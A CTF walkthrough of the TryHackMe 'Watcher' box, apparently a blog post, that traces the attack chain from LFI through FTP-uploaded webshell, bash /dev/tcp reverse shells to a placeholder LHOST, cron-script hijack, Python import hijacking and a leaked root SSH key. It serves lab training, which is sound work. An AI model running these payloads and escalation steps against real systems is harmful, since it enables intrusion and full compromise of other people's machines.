8 min read

TryHackMe Watcher Walkthrough: Variations on a Writable File

TryHackMe Watcher Walkthrough: Variations on a Writable File

Watcher is a medium-difficulty Linux box. On the surface it's the usual structure — seven flags, four users, a long climb up to root — but what really deserves writing down is how consistent its design theme is: almost every privilege escalation point boils down to "there's a file I can write, and someone else touches it with higher privileges." The same motif shows up in five different costumes, running all the way from the LFI on the web front end to root's SSH private key. This post pulls the whole attack chain apart, focusing on why each call was made rather than just which command was typed.

Set the target variable up front so every command below can be reused:

export IP=<target-ip>

Recon: three services, one obvious way in

Step one is always a full port scan, to get a feel for the attack surface:

nmap -p- --min-rate 5000 -T4 -oN nmap-allports.txt $IP
nmap -sC -sV -p 21,22,80 -oN nmap-detail.txt $IP

Everything narrows down to three services:

21/tcp open  ftp     vsftpd 3.0.5
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu
80/tcp open  http    Apache httpd 2.4.41 (Jekyll v4.1.1, title "Corkplacemats")

FTP is the most direct candidate for a foothold, but we have no credentials for SSH and the web app is clearly the centrepiece — so the plan is to probe FTP and the web in parallel. First, one shot at anonymous FTP login:

ftp -inv $IP <<'EOF'
user anonymous anonymous
ls -la
bye
EOF

The reply is 530 Login incorrect. Anonymous access is off, so the focus shifts to the web.

Web enumeration: robots.txt hands over the first flag

One directory brute-force pass, covering the common extensions:

feroxbuster -u http://$IP/ -x php,html,txt

A few key hits:

  • flag_1.txt (200)
  • post.php (a page that takes parameters)
  • robots.txt
  • secret_file_do_not_read.txt (403)
  • images/ (directory listing enabled)

Grab the scattered clues in one go:

curl -s http://$IP/flag_1.txt; echo
curl -s http://$IP/robots.txt; echo

flag_1.txt is the first flag, handed over on a plate:

FLAG{Redacted}

And robots.txt happily lists both of the paths it doesn't want indexed — the classic robots.txt own goal. It's meant to keep crawlers out, but in practice it very often ends up being an index of exactly the sensitive paths you were hoping to hide:

User-agent: *
Allow: /flag_1.txt
Allow: /secret_file_do_not_read.txt

LFI: guessing the parameter from the filename, and one curl pays off

Hitting post.php with a plain curl returns nothing but an empty <main> — a blank render. A page that clearly should have content but renders blank is practically shouting: I'm waiting for a parameter, and you haven't given me the right one yet.

So how do you guess the parameter name? Three signals stack up: the page is called post.php, the site runs on Jekyll (a blog generator), and the whole thing revolves around posts. Nine times out of ten a developer names the parameter after the feature, so it's worth spending exactly one curl betting on post — and testing for local file inclusion (LFI) at the same time:

curl -s "http://$IP/post.php?post=/etc/passwd"

The entire /etc/passwd gets included into the page — LFI confirmed. If that guess had missed, ffuf would have been the fallback for fuzzing the parameter name (ffuf also lands on post here, so the two approaches corroborate each other):

ffuf -u "http://$IP/post.php?FUZZ=/etc/passwd" \
  -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  -fs 2422 -mc all

-fs 2422 filters out the length of the empty page, leaving only responses where the parameter actually did something and the body grew.

From /etc/passwd we pull out the real users with shells — will, mat, toby, ubuntu — plus an ftpuser that echoes the FTP service.

With LFI in hand, two things to do straight away: bypass that 403 to read the secret file, and use php://filter to pull the source code out for review. Sitting inside the secret file is a note:

Hi Mat, The credentials for the FTP server are below. I've set the files to be saved to /home/ftpuser/ftp/files. Will ftpuser:givemefiles777

A set of cleartext FTP credentials, ftpuser:givemefiles777, plus one crucial piece of intel: uploaded files land in /home/ftpuser/ftp/files.

Chaining FTP + LFI: upload a webshell, get www-data

Log into FTP first and map out the directory structure:

ftp -inv $IP <<'EOF'
user ftpuser givemefiles777
ls -la
cd files
put test.txt
ls -la
bye
EOF

The login drops us straight into /home/ftpuser/ftp/, which holds the second flag, flag_2.txt, along with a files/ directory owned by ftpuser and writable by us.

Second flag:

FLAG{Redacted}

Here's the real killer move: FTP can write into files/, and the LFI can read absolute paths. Bolt the two together and you can make post.php include — and execute — a PHP file we uploaded, straight from the browser. First verify that both sides point at the same place:

curl -s "http://$IP/post.php?post=/home/ftpuser/ftp/files/test.txt"

The uploaded file's contents come back verbatim — the exploit chain holds. Now swap the test file for a minimal webshell:

echo '<?php system($_GET["cmd"]); ?>' > shell.php
ftp -inv $IP <<'EOF'
user ftpuser givemefiles777
cd files
put shell.php
bye
EOF

curl -s "http://$IP/post.php?post=/home/ftpuser/ftp/files/shell.php&cmd=id"

The response is uid=33(www-data) — RCE confirmed. Next, catch a stable reverse shell, which is far nicer to work with than firing commands one at a time through a URL:

# listener
nc -lvnp 4444

# trigger (swap LHOST/LPORT for your own)
curl -s "http://$IP/post.php?post=/home/ftpuser/ftp/files/shell.php&cmd=$(python3 -c 'import urllib.parse;print(urllib.parse.quote("bash -c \"bash -i >& /dev/tcp/LHOST/4444 0>&1\""))')"

Once inside the shell, upgrade the TTY first — sudo and su behave much better afterwards:

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z → stty raw -echo; fg → Enter
export TERM=xterm

The web root contains a directory hiding the third flag, more_secrets_a9f10a/:

cat /var/www/html/more_secrets_a9f10a/flag_3.txt
FLAG{Redacted}

Lateral movement #1: sudo -l just tells us the answer (→ toby)

Once you've got a solid foothold as www-data, the first thing to do is always sudo -l — it frequently writes the next hop right across its own face:

sudo -l
User www-data may run the following commands:
    (toby) NOPASSWD: ALL

www-data can run any command as toby, password-free. Note that the target here is toby, not root (sudo su to root will just ask for a password and get shot down). The syntax is to name the user explicitly:

sudo -u toby /bin/bash
id
cat /home/toby/flag_4.txt
uid=1003(toby) ...
FLAG{Redacted}

Lateral movement #2: a writable cron script (→ mat)

toby's home directory holds two things: note.txt and jobs/. The note is a story hint saying that Mat has set up a cron job; the name jobs/ hints heavily at scheduled tasks. Let's look:

cat /home/toby/note.txt
ls -la /home/toby/jobs/
cat /home/toby/jobs/cow.sh

cow.sh is owned by toby and — crucially — writable by toby (-rwxr-xr-x ... toby toby). Its contents just copy an image around; the important question is who runs this script. No need to guess — go straight to the system crontab for evidence:

cat /etc/crontab

The last line gives it away:

*/1 * * * * mat /home/toby/jobs/cow.sh

mat runs this toby-writable script every single minute — that's the mechanism for moving laterally to mat. Weaponise the script by stuffing a reverse shell into it that fires back as mat:

# listener (use a different port)
nc -lvnp 5555

# overwrite the script (from toby's shell)
cat > /home/toby/jobs/cow.sh <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/LHOST/5555 0>&1
EOF
chmod +x /home/toby/jobs/cow.sh

Within 60 seconds at most, mat's shell drops into the listener. The fifth flag is in mat's home directory:

cat /home/mat/flag_5.txt
FLAG{Redacted}

Lateral movement #3: Python library hijacking (→ will)

mat's sudo -l hands us a more refined rule:

(will) NOPASSWD: /usr/bin/python3 /home/mat/scripts/will_script.py *

mat can run this Python script as will, and the trailing * means arbitrary arguments are allowed. Reading the script:

import os
import sys
from cmd import get_command
cmd = get_command(sys.argv[1])
whitelist = ["ls -lah", "id", "cat /etc/passwd"]
if cmd not in whitelist:
        print("Invalid command!")
        exit()
os.system(cmd)

The vulnerability is from cmd import get_command — that's a custom module. Python will hunt for cmd.py along the search path, and malicious code runs the instant the import happens, long before the whitelist check ever gets a turn. Which makes the whitelist completely decorative.

There's one detail here that's very easy to trip over, and it's worth writing down: when Python is run against a script file, sys.path[0] is the directory containing the script, not the current working directory (cwd). If you start out by dropping a malicious cmd.py into /tmp and running from /tmp, it will never get loaded — because Python looks first in /home/mat/scripts/, where will_script.py lives. And mat just happens to own that directory, so it's writable:

printf '%s\n' 'import os' 'def get_command(x):' '    os.system("/bin/bash")' '    return "id"' > /home/mat/scripts/cmd.py

sudo -u will /usr/bin/python3 /home/mat/scripts/will_script.py anything
id

The moment Python does import cmd it hits our version first, and os.system("/bin/bash") pops a shell as will right there at import time. The sixth flag is in will's home directory:

cat /home/will/flag_6.txt
FLAG{Redacted}

Privesc to root: don't chase the decoy, go back to the evidence

There's an easy wrong turn to take once you're will. will's home directory contains a .config/lxc/ holding config.yml and cookies, which naturally brings the classic LXD container escape to mind. But lxc list comes back with permission denied, and a quick id shows why:

uid=1000(will) gid=1000(will) groups=1000(will),4(adm)

will's only groups are will and adm — no lxd membership. Without lxd group rights you can't touch that socket, so those lxc files are either a decoy or leftovers. The lesson here: don't charge in the moment you spot a keyword; confirm your group membership with id first, then decide on the approach.

Back to systematic privesc enumeration — sweep the usual angles:

find / -perm -4000 -type f 2>/dev/null        # SUID
getcap -r / 2>/dev/null                        # capabilities
sudo -n -l 2>/dev/null                          # passwordless sudo
cat /etc/crontab; ls -la /etc/cron.d/           # scheduled tasks

SUID binaries, capabilities and cron are all stock defaults — no GTFOBins escalation point anywhere. The real key comes from a different angle: "somewhere that will, or the adm group, can write" — right back to the motif running through this whole box:

find / -group adm -writable 2>/dev/null
/opt/backups
/opt/backups/key.b64

/opt/backups/ is writable by the adm group, and it contains a key.b64. Let's see what's in it:

cat /opt/backups/key.b64
base64 -d /opt/backups/key.b64 | head -n 1

Decoded, it starts with -----BEGIN RSA PRIVATE KEY----- — an RSA private key sitting in a backup directory owned by root, and almost certainly root's own SSH key. Pull it back to the local box, fix the permissions, and log straight in:

# on the attacking box
base64 -d key.b64 > root_key
chmod 600 root_key
ssh -i root_key -o StrictHostKeyChecking=no root@<target-ip>
id       # uid=0(root)
cat /root/flag_7.txt

Seventh flag, and a closing nod to the room's name, Watcher:

FLAG{Redacted}

Recap: five variations on a single theme

Strung together, the design intent behind the whole chain is unmistakable — "something I can write to or read from, that someone else touches with higher privileges" — appearing over and over:

  1. robots.txt — information disclosure hands over the first flag
  2. LFI (post.php?post=) — read /etc/passwd, dig out cleartext FTP credentials
  3. FTP upload × LFI inclusion — two low-to-medium risk issues chained into RCE as www-data
  4. sudo -u toby — a NOPASSWD rule that hands you the lateral move outright
  5. the writable cron script cow.sh — mat runs it for us, on a schedule
  6. Python library hijacking — drop cmd.py in the script's own directory to hijack the import
  7. /opt/backups/key.b64 — root's private key, readable by the adm group → ssh root